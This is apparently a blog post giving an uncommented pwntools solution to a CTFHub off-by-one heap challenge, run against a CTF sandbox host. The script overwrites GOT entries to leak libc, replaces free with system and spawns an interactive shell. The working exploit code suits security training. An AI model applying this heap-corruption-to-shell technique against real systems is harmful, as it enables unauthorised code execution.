off-by-one,CTFHub例题

 慢慢更,太懒了直接给出代码

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-049a92ae96535d90.sandbox.ctfhub.com",31154)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

def add(size):
	io.recvuntil(b"Choice:")
	io.sendline(b"1")
	io.recvuntil(b"Size: ")
	io.sendline(str(size))

def edit(idx,data):
	io.recvuntil(b"Choice:")
	io.sendline(b"2")
	io.recvuntil(b"Index: ")
	io.sendline(str(idx))
	io.recvuntil(b"Content: ")
	io.sendline(data)


def free(idx):
	io.recvuntil(b"Choice:")
	io.sendline(b"3")
	io.recvuntil(b"Index: ")
	io.sendline(str(idx))


puts_plt = elf.plt['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']
printf_plt = elf.plt['printf']
add(0x18)
for i in range(1,28):
	add(0x10)
add(0x21)
ptr_chunk = 0x602130-8
edit(0,b"a"*0x18+p64(0x41))
free(1)
free(2)
add(0x30)
edit(1,p64(0)*3+p64(0x21)+p64(ptr_chunk))
add(0x10)
free(30)
add(0x18)
edit(29,b"a"*8+p64(free_got)+p64(atoi_got))
edit(0,p64(puts_plt)+p64(printf_plt))
free(1)
atoi_addr = u64(io.recv(6).ljust(8,b"\x00"))
libc_addr = atoi_addr-libc.sym['atoi']
system_addr = libc_addr+libc.sym['system']
print(hex(libc_addr))
print(hex(atoi_addr))
edit(5,b"/bin/sh\x00")
edit(0,p64(system_addr)+p64(printf_plt))
# add(0x10)
free(5)


io.interactive()

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值